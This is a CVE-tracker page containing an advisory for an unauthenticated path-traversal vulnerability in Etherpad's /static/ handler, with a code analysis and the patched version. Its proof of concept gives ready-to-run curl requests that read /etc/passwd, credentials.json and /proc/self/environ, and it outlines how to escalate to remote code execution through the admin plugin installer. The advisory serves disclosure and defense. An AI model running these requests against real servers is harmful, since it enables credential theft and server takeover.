CVE Watchtower

← Back to CVE List

CVE-2026-114516NVD

Vulnerability Summary

Summary An unauthenticated path‑traversal / arbitrary file read vulnerability in Etherpad's /static/ handler allows any remote, unauthenticated user to read any file on the server's filesystem (e.g. GET /static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd returns /etc/passwd) available to the user running the etherpad software. Because the endpoint is mounted before the authentication middleware, no credentials, session, or configuration change are required. The read primitive could escalate to a full server compromise: on a typical deployment by disclosing settings.json / credentials.json / /proc/self/environ, which contain the admin password, giving an attacker an admin session and, through the admin plugin installer, remote code execution. Details Etherpad serves plugin static assets through src/node/utils/Minify.ts. The request path is first passed through the canonical sanitizer src/node/utils/sanitizePathname.ts, which is careful to convert backslashes to forward slashes only on Windows: ``` // src/node/utils/sanitizePathname.ts:11-20 p = pathApi.normalize(p); if (pathApi.isAbsolute(p)) throw new Error(`absolute paths are forbidden: ${p}`); if (p.split(pathApi.sep)[0] === '..') throw new Error(`directory traversal: ${p}`); // THIS CONVERSION MUST ONLY BE DONE ON WINDOWS, otherwise on POSIXish systems '..\\' in the input // pathname would not be normalized away before being converted to '../'. if (pathApi.sep === '\\') p = p.replace(/\\/g, '/'); ``` On Linux a backslash is an ordinary filename byte, so an input segment like ..\..\..\test contains no ./.. path components and passes every check in sanitizePathname unchanged. The project's own test suite confirms this: src/tests/backend-new/specs/sanitizePathname.ts:62 lists ['posix', '..\\foo'] among the accepted paths (returned unchanged). The vulnerability is that Minify.ts then performs that Windows‑only conversion unconditionally, after the sanitizer has run, justified by a comment asserting the opposite of the invariant above: ``` // src/node/utils/Minify.ts:171-186 const match = filename.match(/^plugins\/([^/]+)(\/(?:(static\/.)|.))?$/); if (match) { const library = match[1]; const libraryPath = match[2] || ''; if (plugins.plugins[library] && match[3]) { const plugin = plugins.plugins[library]; const pluginPath = plugin.package.realPath; // for 'ep_etherpad-lite' == <root>/src filename = path.join(pluginPath, libraryPath); // -> absolute path, backslashes preserved // ... "This conversion does not introduce a directory // traversal vulnerability because all '..\\' substrings have already been removed by // sanitizePathname." // <-- FALSE on POSIX filename = filename.replace(/\\/g, '/'); // <-- reintroduces ../ AFTER the check } ``` After line 186 the string becomes a real traversal (<root>/src/static/../../../../etc/passwd) with no re‑normalization and no containment check before the filesystem calls at Minify.ts:248 (fs.stat) and Minify.ts:315 (fs.readFile). Because path.join at line 179 produced an absolute path, path.resolve(ROOT_DIR, filename) discards ROOT_DIR entirely, and POSIX path.resolve collapses surplus .. at /, so the payload is root‑depth‑agnostic. The route is reachable pre‑authentication. It is registered on the expressPreSession hook: ``` // src/ep.json { "name": "static", "hooks": { "expressPreSession": "ep_etherpad-lite/node/hooks/express/static" } } // src/node/hooks/express/static.ts:38 app.all('/static/*filename', minify); ``` and expressPreSession runs before the auth middleware: ``` // src/node/hooks/express.ts:244-247 await hooks.aCallAll('expressPreSession', {app, settings}); // static route registered here app.use(exports.sessionMiddleware); app.use(webaccess.checkAccess); // auth runs AFTER ``` The plugin branch is always taken because src/static/js/pluginfw/plugins.ts:153-158 unconditionally registers the core pseudo‑plugin ep_etherpad-lite with package.realPath = <root>/src. Two decode facts make the exploit funcional: Express 5 / path‑to‑regexp v8 decode wildcard params per segment, once ((v) => v.split('/').map(decodeURIComponent)), so req.params.filename.join('/') (Minify.ts:147) yields the once‑decoded path fed to the sanitizer, and %5C (encoded backslash) is the only working separator (%2F decodes to /, is re‑split, and is rejected by the split('/')[0] === '..' guard). PoC Applies to a default production deployment (no special configuration; works on Linux, e.g. the Docker image or a systemd source install). Replace TARGET:9001 with the instance. 1. Read /etc/passwd (or any file) with no authentication. --path-as-is prevents the client from folding the traversal: ``` curl --path-as-is \ 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd' ``` Other high‑value reads (over‑shoot the .. depth; it is absorbed at /): admin password + secrets, root-agnostic via /proc/self/cwd ``` curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/settings.json' curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/credentials.json' ``` on docker-compose deployments the admin password is an env var: `curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/environ'` Each response returns the raw file bytes (with a harmless Content-Type: false header for extension‑less targets, Node coerces the value and does not throw). 2. Escalate to RCE. Recover the admin credential from the files read in step 1, then: mint an admin session ``` curl -i -X POST 'http://TARGET:9001/admin-auth/' \ -H "Authorization: Basic $(printf 'admin:PASSWORD' | base64)" -> 200 + Set-Cookie: <prefix>express_sid=... ``` Using that express_sid cookie, connect to the /pluginfw/installer Socket.IO namespace (gated only on session.user.is_admin, src/node/hooks/express/adminplugins.ts:22) and emit install for an attacker‑controlled ep_ plugin. Etherpad require()s the plugin's code in‑process during plugins.update() (src/static/js/pluginfw/shared.ts:30), executing arbitrary code as the Etherpad user. Impact - Type: Improper limitation of a pathname → unauthenticated arbitrary file read, with potential to remote code execution. - Access required: None. The vulnerable route is served before the authentication/authorization middleware, so it is exploitable by any client that can reach the HTTP port, regardless of requireAuthentication, requireAuthorization, or users configuration. - What an attacker can access: any file readable by the Etherpad process user, including settings.json/credentials.json (admin password, sessionKey, database credentials, SSO client secrets), /proc/self/environ (env‑supplied secrets such as ADMIN_PASSWORD, DB_PASS), the pad database, TLS private keys, and OS files such as /etc/passwd. - Escalation: the disclosed admin password yields an admin session; the admin plugin installer then provides in‑process code execution, i.e. full server takeover. Even without the plugin step, admin access permits rewriting the entire configuration (saveSettings + restartServer) and exfiltrating all stored data. - Who is impacted: every operator running an affected version, most severely those exposing Etherpad directly to untrusted networks. A reverse proxy does not mitigate it, the traversal uses %5C, which proxies forward unchanged.
Severity Level
CRITICAL(9.8)
Published Date
Oct 27, 2026
Last Modified
Oct 27, 2026
Exploitation Status
No confirmed exploitation yet
CVE Record Status
Reserved
This CVE ID is referenced in a public advisory, but the CVE Program has not published its official CVE Record yet. Full CVSS/CPE data from NVD will appear here once it does.
EPSS Score (30-Day)
Data Pending
Root Weakness (CWE)
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory.
Refer to the official MITRE database for detailed architectural specifications regarding this weakness.
Refer to the official MITRE database for detailed architectural specifications regarding this weakness.
CVSS v3.1 Base Metrics — Score 9.8
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
ConfidentialityHigh
IntegrityHigh
AvailabilityHigh

Affected & Patched Versions

Affected Versions
  • etherpad-lite 1.8.14 - 3.3.2
Patched Versions
  • etherpad-lite 3.3.3
🎁7-Day Free Trial — Try Pro or Team, no card required.
📧Email Delivery — Threat intel straight to your inbox.
♾️Unlimited Vendors — Track your entire stack.
🚨All New CVEs — Be the first to know.
📈EPSS Spike Alerts — Catch rising risk before it peaks.
🎯Custom EPSS/CVSS — Filter noise, focus on risk.
🛡️Exploit Intel — A 2nd confirmed-exploit signal beyond KEV.
🐙GitHub Issues — Auto-tracked, no duplicates.
📬Weekly Digest — One clean summary, not inbox spam.
🏷️Watchlist Groups — Tag alerts by team (Infra/AppSec/SOC).
💬Webhooks — Slack & Teams integration.
🔀Smart Routing — Critical alerts to one channel, rest to another.
🚫Ad-Free — Uninterrupted experience.
🎁7-Day Free Trial — Try Pro or Team, no card required.
📧Email Delivery — Threat intel straight to your inbox.
♾️Unlimited Vendors — Track your entire stack.
🚨All New CVEs — Be the first to know.
📈EPSS Spike Alerts — Catch rising risk before it peaks.
🎯Custom EPSS/CVSS — Filter noise, focus on risk.
🛡️Exploit Intel — A 2nd confirmed-exploit signal beyond KEV.
🐙GitHub Issues — Auto-tracked, no duplicates.
📬Weekly Digest — One clean summary, not inbox spam.
🏷️Watchlist Groups — Tag alerts by team (Infra/AppSec/SOC).
💬Webhooks — Slack & Teams integration.
🔀Smart Routing — Critical alerts to one channel, rest to another.
🚫Ad-Free — Uninterrupted experience.